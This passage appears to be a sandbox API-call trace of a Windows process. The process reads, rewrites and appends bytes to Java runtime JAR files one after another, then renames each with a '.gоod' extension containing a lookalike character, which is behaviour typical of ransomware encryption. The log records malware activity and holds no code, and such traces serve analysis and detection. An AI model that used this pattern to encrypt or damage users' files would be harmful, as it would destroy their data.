| out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", lpFilePart=0x0) returned 0x31 [0087.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0087.073] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0087.073] GetFileType (hFile=0x6b4) returned 0x1 [0087.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0087.073] GetFileType (hFile=0x6b4) returned 0x1 [0087.073] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0xe6827 [0087.073] WriteFile (in: hFile=0x6b4, lpBuffer=0x342e868*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x342e868*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0087.074] CloseHandle (hObject=0x6b4) returned 1 [0087.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", lpFilePart=0x0) returned 0x31 [0087.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0087.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0087.075] GetFileType (hFile=0x6b4) returned 0x1 [0087.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0087.075] GetFileType (hFile=0x6b4) returned 0x1 [0087.075] ReadFile (in: hFile=0x6b4, lpBuffer=0x3430af8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x3430af8*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0087.454] CloseHandle (hObject=0x6b4) returned 1 [0087.454] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", lpFilePart=0x0) returned 0x31 [0087.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0087.455] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0087.455] GetFileType (hFile=0x6b4) returned 0x1 [0087.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0087.455] GetFileType (hFile=0x6b4) returned 0x1 [0087.455] WriteFile (in: hFile=0x6b4, lpBuffer=0x342f880*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x342f880*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0087.455] CloseHandle (hObject=0x6b4) returned 1 [0087.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", lpFilePart=0x0) returned 0x31 [0087.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.gоod", lpFilePart=0x0) returned 0x36 [0087.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0087.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x30566c51, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe6837)) returned 1 [0087.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0087.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.gоod")) returned 1 [0087.456] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", lpFilePart=0x0) returned 0x2e [0087.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0087.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), fInfoLevelId=0x0, lpFileInformation=0x3742a80 | out: lpFileInformation=0x3742a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de)) returned 1 [0087.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0087.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", lpFilePart=0x0) returned 0x2e [0087.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0087.457] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0087.457] GetFileType (hFile=0x6b4) returned 0x1 [0087.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0087.457] GetFileType (hFile=0x6b4) returned 0x1 [0087.457] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0087.457] ReadFile (in: hFile=0x6b4, lpBuffer=0x3742e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x3742e18*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0087.458] CloseHandle (hObject=0x6b4) returned 1 [0087.459] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", lpFilePart=0x0) returned 0x2e [0087.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0087.459] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0087.459] GetFileType (hFile=0x6b4) returned 0x1 [0087.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0087.459] GetFileType (hFile=0x6b4) returned 0x1 [0087.459] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1c6de [0087.459] WriteFile (in: hFile=0x6b4, lpBuffer=0x3744070*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3744070*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0087.460] CloseHandle (hObject=0x6b4) returned 1 [0087.460] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", lpFilePart=0x0) returned 0x2e [0087.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0087.460] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0087.460] GetFileType (hFile=0x6b4) returned 0x1 [0087.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0087.460] GetFileType (hFile=0x6b4) returned 0x1 [0087.460] ReadFile (in: hFile=0x6b4, lpBuffer=0x37462f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x37462f0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0088.759] CloseHandle (hObject=0x6b4) returned 1 [0088.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", lpFilePart=0x0) returned 0x2e [0088.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0088.760] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0088.760] GetFileType (hFile=0x6b4) returned 0x1 [0088.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0088.760] GetFileType (hFile=0x6b4) returned 0x1 [0088.760] WriteFile (in: hFile=0x6b4, lpBuffer=0x3173898*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3173898*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0088.760] CloseHandle (hObject=0x6b4) returned 1 [0088.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", lpFilePart=0x0) returned 0x2e [0088.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.gоod", lpFilePart=0x0) returned 0x33 [0088.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0088.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x311e26a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c6ee)) returned 1 [0088.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0088.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.gоod")) returned 1 [0088.761] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", lpFilePart=0x0) returned 0x2e [0088.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0088.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), fInfoLevelId=0x0, lpFileInformation=0x33b7da0 | out: lpFileInformation=0x33b7da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5)) returned 1 [0088.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0088.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", lpFilePart=0x0) returned 0x2e [0088.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0088.762] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0088.762] GetFileType (hFile=0x6b4) returned 0x1 [0088.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0088.762] GetFileType (hFile=0x6b4) returned 0x1 [0088.762] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0088.763] ReadFile (in: hFile=0x6b4, lpBuffer=0x33b8138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x33b8138*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0088.866] CloseHandle (hObject=0x6b4) returned 1 [0088.866] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", lpFilePart=0x0) returned 0x2e [0088.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0088.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0088.866] GetFileType (hFile=0x6b4) returned 0x1 [0088.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0088.867] GetFileType (hFile=0x6b4) returned 0x1 [0088.867] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x88dc5 [0088.867] WriteFile (in: hFile=0x6b4, lpBuffer=0x327c950*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x327c950*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0088.868] CloseHandle (hObject=0x6b4) returned 1 [0088.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", lpFilePart=0x0) returned 0x2e [0088.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0088.868] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0088.868] GetFileType (hFile=0x6b4) returned 0x1 [0088.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0088.868] GetFileType (hFile=0x6b4) returned 0x1 [0088.869] ReadFile (in: hFile=0x6b4, lpBuffer=0x327ebd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x327ebd0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0089.151] CloseHandle (hObject=0x6b4) returned 1 [0089.151] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", lpFilePart=0x0) returned 0x2e [0089.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.151] GetFileType (hFile=0x6b4) returned 0x1 [0089.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.151] GetFileType (hFile=0x6b4) returned 0x1 [0089.151] WriteFile (in: hFile=0x6b4, lpBuffer=0x327d968*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x327d968*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0089.151] CloseHandle (hObject=0x6b4) returned 1 [0089.151] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", lpFilePart=0x0) returned 0x2e [0089.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.gоod", lpFilePart=0x0) returned 0x33 [0089.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0089.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x315b28ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x88dd5)) returned 1 [0089.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0089.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.gоod")) returned 1 [0089.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", lpFilePart=0x0) returned 0x31 [0089.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0089.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), fInfoLevelId=0x0, lpFileInformation=0x357a658 | out: lpFileInformation=0x357a658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c)) returned 1 [0089.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0089.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", lpFilePart=0x0) returned 0x31 [0089.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.154] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.154] GetFileType (hFile=0x6b4) returned 0x1 [0089.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.154] GetFileType (hFile=0x6b4) returned 0x1 [0089.154] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0089.154] ReadFile (in: hFile=0x6b4, lpBuffer=0x357aa10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x357aa10*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0089.155] CloseHandle (hObject=0x6b4) returned 1 [0089.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", lpFilePart=0x0) returned 0x31 [0089.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.156] GetFileType (hFile=0x6b4) returned 0x1 [0089.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.156] GetFileType (hFile=0x6b4) returned 0x1 [0089.156] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x848c [0089.156] WriteFile (in: hFile=0x6b4, lpBuffer=0x357bc78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x357bc78*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0089.157] CloseHandle (hObject=0x6b4) returned 1 [0089.157] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", lpFilePart=0x0) returned 0x31 [0089.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0089.157] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0089.157] GetFileType (hFile=0x6b4) returned 0x1 [0089.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0089.158] GetFileType (hFile=0x6b4) returned 0x1 [0089.158] ReadFile (in: 